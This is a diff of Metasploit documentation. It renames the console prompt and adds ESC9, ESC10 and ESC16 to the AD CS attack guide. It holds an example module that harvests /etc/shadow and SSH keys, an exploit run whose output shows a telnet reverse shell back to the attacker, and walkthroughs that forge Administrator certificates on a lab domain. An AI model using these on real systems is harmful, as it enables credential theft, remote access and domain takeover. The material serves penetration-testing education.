+## Msf::Post::Process
+
+Process enumeration and manipulation.
+
+```ruby
+include Msf::Post::Process
+
+# Enumerate processes
+processes = get_processes
+processes.each { |p| print_line("#{p['pid']}: #{p['name']}") }
+
+# Find specific processes
+nginx_pids = pidof('nginx')
+if nginx_pids.any?
+  print_good("Found nginx: #{nginx_pids.join(', ')}")
+  nginx_pids.each { |pid| kill_process(pid) }
+end
+
+# Check process existence
+if has_pid?(1234)
+  print_good("Process 1234 is running")
+end
+```
+
+## Msf::Post::Unix
+
+Unix/Linux-specific utilities.
+
+```ruby
+include Msf::Post::Unix
+
+# Privilege checking
+if is_root?
+  print_good("Running as root")
+else
+  print_warning("Running as #{whoami}")
+end
+
+# User enumeration
+users = get_users
+users.each do |u|
+  print_line("#{u['name']} (UID: #{u['uid']}, Shell: #{u['shell']})")
+end
+admin_users = users.select { |u| u['uid'].to_i == 0 }
+
+# Group enumeration
+groups = get_groups
+sudo_group = groups.find { |g| g['name'] =~ /sudo|wheel/ }
+print_good("Sudo users: #{sudo_group['users']}") if sudo_group
+
+# Find SSH keys and interesting files
+ssh_keys = enum_user_directories
+ssh_keys.each do |key|
+  content = read_file(key)
+  store_loot('ssh.key', 'text/plain', session, content, key)
+end
+```
+
+## Platform-Specific Mixins
+
+### Msf::Post::Windows
+Windows-specific operations including registry manipulation, service management, and Windows API access. See Windows-specific documentation.
+
+### Msf::Post::Linux
+Linux-specific system information gathering and kernel utilities.
+
+### Msf::Post::OSX
+macOS-specific utilities and system interaction methods.
+
+### Msf::Post::Android
+Android device interaction and data collection methods.
+
+### Msf::Post::Hardware
+Hardware interaction utilities (e.g., USB devices, serial ports).
+
+## Example Module
+
+```ruby
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Linux Credential Harvester',
+      'Description' => 'Collects credentials from Linux system',
+      'License' => MSF_LICENSE,
+      'Author' => ['Your Name'],
+      'Platform' => ['linux'],
+      'SessionTypes' => ['meterpreter', 'shell']
+    ))
+  end
+
+  def run
+    print_status("Harvesting credentials on #{peer}")
+    
+    if is_root?
+      # Root access - collect shadow file
+      if readable?('/etc/shadow')
+        shadow = read_file('/etc/shadow')
+        store_loot('shadow', 'text/plain', session, shadow, '/etc/shadow')
+      end
+    end
+    
+    # Collect SSH keys
+    ssh_keys = enum_user_directories
+    ssh_keys.each do |key_path|
+      key = read_file(key_path)
+      store_loot('ssh.key', 'text/plain', session, key, key_path)
+    end
+    
+    # Check for interesting processes
+    if pidof('sshd').any?
+      print_good("SSH daemon running")
+    end
+  end
+end
+```
+
+## Best Practices
+
+- **Use `create_process`** for commands with arguments: `create_process('ls', args: ['-la', path])`
+- **Use `cmd_exec`** only for static strings: `cmd_exec('hostname')`
+- **Check before acting**: Use `file?()`, `readable?()`, `writable?()` before file operations
+- **Handle errors**: Wrap operations in `begin/rescue` blocks
+- **Register cleanup**: Files created with `write_file()` are auto-registered; use `register_file_for_cleanup()` for others
+- **Store loot properly**: Use `store_loot()` to save collected data
+- **Check session type**: Some operations behave differently on Meterpreter vs shell sessions
+

docs/metasploit-framework.wiki/Using-Metasploit.md

@@ -18,7 +18,7 @@ Assuming you have installed Metasploit, either with the official Rapid7 nightly
 
 Metasploit Documentation: https://docs.metasploit.com/
 
-msf6 >
+msf >
 ```
 
 ### Finding modules
@@ -33,7 +33,7 @@ Metasploit is based around the concept of [[modules]]. The most commonly used mo
 You can use the `search` command to search for modules:
 
 ```msf
-msf6 > search type:auxiliary http html title tag
+msf > search type:auxiliary http html title tag
 
 Matching Modules
 ================
@@ -45,15 +45,15 @@ Matching Modules
 
 Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title
 
-msf6 >
+msf >
 ```
 
 You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently
 active module:
 
 ```msf
-msf6 > use auxiliary/scanner/http/title
-msf6 auxiliary(scanner/http/title) > 
+msf > use auxiliary/scanner/http/title
+msf auxiliary(scanner/http/title) > 
 ```
 
 ### Running Auxiliary modules
@@ -62,14 +62,14 @@ Auxiliary modules do not exploit a target, but can perform data gathering or adm
 extracting the HTTP title from a server:
 
 ```msf
-msf6 > use auxiliary/scanner/http/title
-msf6 auxiliary(scanner/http/title) > 
+msf > use auxiliary/scanner/http/title
+msf auxiliary(scanner/http/title) > 
 ```
 
 Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
 
 ```msf
-msf6 auxiliary(scanner/http/title) > show options
+msf auxiliary(scanner/http/title) > show options
 
 Module options (auxiliary/scanner/http/title):
 
@@ -88,21 +88,21 @@ Module options (auxiliary/scanner/http/title):
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(scanner/http/title) > 
+msf auxiliary(scanner/http/title) > 
 ```
 
 To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that 
 the module will run against:
 
 ```msf
-msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
+msf auxiliary(scanner/http/title) > set RHOSTS google.com
 RHOSTS => google.com
 ```
 
 The `run` command will run the module against the target, showing the target's HTTP title:
 
 ```msf
-msf6 auxiliary(scanner/http/title) > run
+msf auxiliary(scanner/http/title) > run
 
 [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
 [*] Scanned 1 of 1 hosts (100% complete)
@@ -113,7 +113,7 @@ New in Metasploit 6 there is added support for running modules with options set
 both `RHOSTS` and enabling `HttpTrace` functionality:
 
 ```msf
-msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true 
+msf auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true 
 
 ####################
 # Request:
@@ -142,7 +142,7 @@ The document has moved
 [+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/http/title) > 
+msf auxiliary(scanner/http/title) > 
 ```
 
 ### Running exploit modules
@@ -156,9 +156,9 @@ For instance in a Virtual Machine, or with Docker. There are multiple pre-built
 For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module:
 
 ```msf
-msf6 > use unix/misc/distcc_exec
+msf > use unix/misc/distcc_exec
 [*] Using configured payload cmd/unix/reverse_bash
-msf6 exploit(unix/misc/distcc_exec) > 
+msf exploit(unix/misc/distcc_exec) > 
 ```
 
 Exploit modules will generally at a minimum require the following options to be set:
@@ -170,7 +170,7 @@ Exploit modules will generally at a minimum require the following options to be
 Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
 
 ```msf
-msf6 exploit(unix/misc/distcc_exec) > options
+msf exploit(unix/misc/distcc_exec) > options
 
 Module options (exploit/unix/misc/distcc_exec):
 
@@ -198,24 +198,24 @@ Exploit target:
 
 View the full module info with the info, or info -d command.
 
-msf6 exploit(unix/misc/distcc_exec) > 
+msf exploit(unix/misc/distcc_exec) > 
 ```
 
 For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`):
 
 ```msf
-msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
+msf exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
 rhost => 192.168.123.133
-msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
+msf exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
 lhost => 192.168.123.1
-msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
+msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
 payload => cmd/unix/reverse
 ```
 
 The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action:
 
 ```msf
-msf6 exploit(unix/misc/distcc_exec) > run
+msf exploit(unix/misc/distcc_exec) > run
 
 [+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
 [*] Started reverse TCP double handler on 192.168.123.1:4444 
@@ -238,7 +238,7 @@ daemon
 New in Metasploit 6 there is added support for running modules with options set as part of the run command:
 
 ```msf
-msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
+msf exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
 
 [+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
 [*] Started reverse TCP double handler on 192.168.123.1:4444

docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md

@@ -163,7 +163,7 @@ Start `msfconsole` and verify postgresql connection using the `db_status` comman
 mv ~/.msf4/config ~/.msf4/config.disable
 ./msfconsole
 ...
-msf5 > db_status 
+msf > db_status 
 [*] Connected to msf. Connection type: postgresql.
 ```
 
@@ -171,4 +171,4 @@ Drop (delete) the cluster:
 
 ```
 PG_CLUSTER_CONF_ROOT=$HOME/.local/etc/postgresql pg_dropcluster 9.6 msf
-```
+```

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

@@ -14,6 +14,11 @@ flowchart TD
         ESC8(ESC8)
         ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
     end
+    subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
+        ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+        ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+        ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
+    end
     subgraph icpr_cert[<b>icpr_cert</b>]
         ESC1(ESC1)
         ESC2(ESC2)
@@ -51,6 +56,8 @@ flowchart TD
     update_template --> ESC1
     web_enrollment --> PKINIT
     web_enrollment --> SCHANNEL
+    weak_certificate_mapping --> PKINIT
+    weak_certificate_mapping --> SCHANNEL
 ```
 
 The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
   `StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
   - [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
     more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
+  - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
 - ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
   CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
   StrongCertificateBindingEnforcement` is set to `0`.
   - [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
     more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
+  - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
 - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
   the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
   - [Relaying to AD Certificate Services over
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
   manipulation
   - [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
   - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
-
-Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
-covers exploiting that subset of ESC flaws.
+- ESC16 - Security Extension Disabled on CA (Globally)
+  - [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
+Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
+- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]
 
 Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
 as the diagram notes above. This is because in ESC1, one has control over the
@@ -207,8 +217,8 @@ This will cause the module to log into the LDAP server on the target DC, and lis
 as well as the permissions that are required to enroll in these certificate templates. The following is a sample output of running this against a test server:
 
 ```msf
-msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
+msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
 
 Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
 
@@ -229,15 +239,15 @@ Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
 DOMAIN => DAFOREST
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
 USERNAME => normaluser
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
 PASSWORD => normalpass
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 [*] Running module against 172.30.239.85
 
 [*] Discovering base DN automatically
@@ -318,7 +328,7 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 [*]     Enrollment SIDs:
 [*]       * S-1-5-11 (Authenticated Users)
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
 ```
 
 From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
@@ -357,24 +367,24 @@ If we know the domain name is `daforest.com` and the domain administrator of thi
 quickly set this up:
 
 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
 CERT_TEMPLATE => ESC1-Template
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
 ALT_UPN => Administrator@daforest.com
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -383,7 +393,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -401,20 +411,20 @@ To do this we will use the `ipcr_cert` module and we will set the usual options,
 For the first run, we will set the usual `RHOSTS`, `CA`, and `CERT_TEMPLATE` details, being sure to set `CERT_TEMPLATE` to the vulnerable `ESC2-Template` certificate template, and supply valid SMB login credentials. This will grant us a certificate for our current user that is based off of the vulnerable `ESC2-Template`:
 
 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
 CERT_TEMPLATE => ESC2-Template
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -444,7 +454,7 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -453,7 +463,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot
 
 Loot
 ====
@@ -462,13 +472,13 @@ host  service  type           name             content               info
 ----  -------  ----           ----             -------               ----                         ----
                windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Next, we need to use the PFX file that we got to request another certificate to authenticate on behalf of another user. We will use the `PFX` option to specify the PFX file, and the `ON_BEHALF_OF` setting to specify the user we would like to authenticate on behalf of. Finally we will change the certificate template to another certificate template that we are able to enroll in. The default `User` certificate should work here since it allows enrollment by any authenticated domain user.
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -498,13 +508,13 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
 ON_BEHALF_OF => DAFOREST\Administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
 PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -537,7 +547,7 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -546,7 +556,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot
 
 Loot
 ====
@@ -556,7 +566,7 @@ host  service  type           name             content               info
                windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
                windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -592,8 +602,8 @@ Narrowing this list down to those we can actually enroll in as users, this leave
 We'll first get the cert using `ipcr_cert` with the `ESC3-Template1` certificate.
 
 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -623,19 +633,19 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
 CERT_TEMPLATE => ESC3-Template1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -644,7 +654,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot
 
 Loot
 ====
@@ -654,17 +664,17 @@ host  service  type           name             content               info
                windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216173718_default_unknown_windows.ad.cs_580032.pfx
                windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
 PFX => /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
 ON_BEHALF_OF => DAFOREST\Administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -697,9 +707,9 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -708,15 +718,15 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174559_default_unknown_windows.ad.cs_570105.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```
 
 Just to show this is also possible with `ESC3-Template2` here is a snippet showing that also works:
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
 CERT_TEMPLATE => ESC3-Template2
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options
 
 Module options (auxiliary/admin/dcerpc/icpr_cert):
 
@@ -749,7 +759,7 @@ Auxiliary action:
 
 View the full module info with the info, or info -d command.
 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85
 
 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -758,7 +768,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216180342_default_unknown_windows.ad.cs_390825.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
